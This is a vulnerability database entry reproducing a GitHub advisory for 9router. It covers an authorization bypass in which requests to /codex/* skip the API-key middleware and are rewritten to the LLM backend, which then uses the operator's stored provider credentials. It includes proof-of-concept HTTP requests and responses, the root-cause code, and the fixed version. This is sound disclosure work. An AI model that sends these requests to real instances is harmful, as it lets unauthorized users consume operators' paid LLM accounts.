GHSA-8GMQ-J984-VP4R

Vulnerability from github – Published: 2026-08-28 18:32 – Updated: 2026-08-28 18:32
VLAI
Summary
9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
Details

Summary

9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.

However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.

As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.

Details

Component File Note
Middleware authorization gate src/dashboardGuard.js Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex
Rewrite configuration next.config.mjs Rewrites /codex/:path* to /api/v1/responses
LLM backend route src/app/api/v1/responses/route.js Dispatches rewritten requests to the LLM handler
Chat handler src/sse/handlers/chat.js Uses operator-stored provider credentials for upstream calls

Tested version:

Version / Commit Runtime Status
v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 Next.js 16.2.9 Affected

Root Cause

The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:

PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];

Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:

return NextResponse.next();

The rewrite configuration then maps the allowed request to the protected backend route:

{
  source: "/codex/:path*",
  destination: "/api/v1/responses"
}

The backend route reaches the same handler used by the canonical LLM endpoint:

return await handleChat(request);

The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.

PoC

The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.

Case 01 — Protected canonical endpoint rejects unauthenticated access

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 401 Unauthorized

This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.

Case 02 — Rewritten /codex/* path bypasses the API-key gate

POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

The request reaches the LLM backend without an API key.

A controlled upstream provider endpoint recorded the outbound request from 9router:

POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true

This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.

Case 03 — Unrelated unknown path does not reach the backend

POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 404 Not Found

No upstream provider call is made. This isolates the issue to the /codex/* rewrite.

Case 04 — Canonical endpoint succeeds only with a valid API key

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router instance.
  2. The attacker sends LLM proxy requests to /codex/* instead of /api/v1/responses.
  3. The middleware evaluates the original /codex/* path and does not apply the LLM API-key gate.
  4. The rewrite maps the request to /api/v1/responses.
  5. The backend processes the request and performs an upstream provider call.
  6. The upstream call uses the operator-stored provider credentials.

Impact

A successful attacker can use the operator's configured LLM provider account without authentication.

Likely consequences include:

  • Unauthorized use of the 9router LLM proxy.
  • Consumption of the operator's provider credits or quota.
  • Unexpected billing impact.
  • Abuse of configured OpenAI/Anthropic-compatible providers.
  • Exposure of model/provider behavior through proxy responses.
  • Bypass of the intended API-key access control for remote LLM proxy access.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:32:01Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.\n\nHowever, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware\u0027s protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.\n\nAs a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.\n\n## Details\n\n| Component                     | File                                | Note                                                                      |\n| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |\n| Middleware authorization gate | `src/dashboardGuard.js`             | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |\n| Rewrite configuration         | `next.config.mjs`                   | Rewrites `/codex/:path*` to `/api/v1/responses`                           |\n| LLM backend route             | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler                          |\n| Chat handler                  | `src/sse/handlers/chat.js`          | Uses operator-stored provider credentials for upstream calls              |\n\nTested version:\n\n| Version / Commit                                             | Runtime          | Status   |\n| ------------------------------------------------------------ | ---------------- | -------- |\n| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |\n\n### Root Cause\n\nThe middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:\n\n```js\nPUBLIC_PREFIXES = [\"/v1\", \"/v1beta\", \"/api/v1\", \"/api/v1beta\"];\n```\n\nBecause `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:\n\n```js\nreturn NextResponse.next();\n```\n\nThe rewrite configuration then maps the allowed request to the protected backend route:\n\n```js\n{\n  source: \"/codex/:path*\",\n  destination: \"/api/v1/responses\"\n}\n```\n\nThe backend route reaches the same handler used by the canonical LLM endpoint:\n\n```js\nreturn await handleChat(request);\n```\n\nThe handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.\n\n## PoC\n\nThe following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.\n\n### Case 01 \u2014 Protected canonical endpoint rejects unauthenticated access\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\nThis confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.\n\n### Case 02 \u2014 Rewritten `/codex/*` path bypasses the API-key gate\n\n```http\nPOST /codex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe request reaches the LLM backend without an API key.\n\nA controlled upstream provider endpoint recorded the outbound request from 9router:\n\n```text\nPOST /responses\nAuthorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER\nrequest-body marker present: true\noperator key marker in Authorization: true\n```\n\nThis confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.\n\n### Case 03 \u2014 Unrelated unknown path does not reach the backend\n\n```http\nPOST /notcodex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\nNo upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.\n\n### Case 04 \u2014 Canonical endpoint succeeds only with a valid API key\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nAuthorization: Bearer sk-REDACTED\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router instance.\n2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.\n3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.\n4. The rewrite maps the request to `/api/v1/responses`.\n5. The backend processes the request and performs an upstream provider call.\n6. The upstream call uses the operator-stored provider credentials.\n\n## Impact\n\nA successful attacker can use the operator\u0027s configured LLM provider account without authentication.\n\nLikely consequences include:\n\n* Unauthorized use of the 9router LLM proxy.\n* Consumption of the operator\u0027s provider credits or quota.\n* Unexpected billing impact.\n* Abuse of configured OpenAI/Anthropic-compatible providers.\n* Exposure of model/provider behavior through proxy responses.\n* Bypass of the intended API-key access control for remote LLM proxy access.",
  "id": "GHSA-8gmq-j984-vp4r",
  "modified": "2026-08-28T18:32:01Z",
  "published": "2026-08-28T18:32:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…